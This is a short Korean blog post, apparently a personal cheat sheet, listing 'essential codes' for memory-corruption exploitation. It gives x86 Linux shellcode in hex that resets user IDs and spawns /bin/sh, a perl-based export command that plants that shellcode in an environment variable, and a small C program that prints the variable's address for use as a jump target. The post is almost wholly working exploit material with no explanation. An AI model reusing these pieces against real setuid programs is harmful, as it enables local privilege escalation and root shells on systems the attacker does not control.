카테고리 없음 2014. 7. 21. 15:42

몇몇 필수 코드

1.bin/sh 쉘코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\xb0\x0b\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xf6\x56\x53\x89\xe1\x31\xd2\xcd\x80

2. 환경변수에 쉘코드 등록

export shell=`perl -e 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\xb0\x0b\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xf6\x56\x53\x89\xe1\x31\xd2\xcd\x80"'`

3.환경변수의 주소값 가져오기

#include<stdio.h>

int main(int argc,char *argv[])

{       printf("%x\n",getenv(argv[1]));

        return 0;

}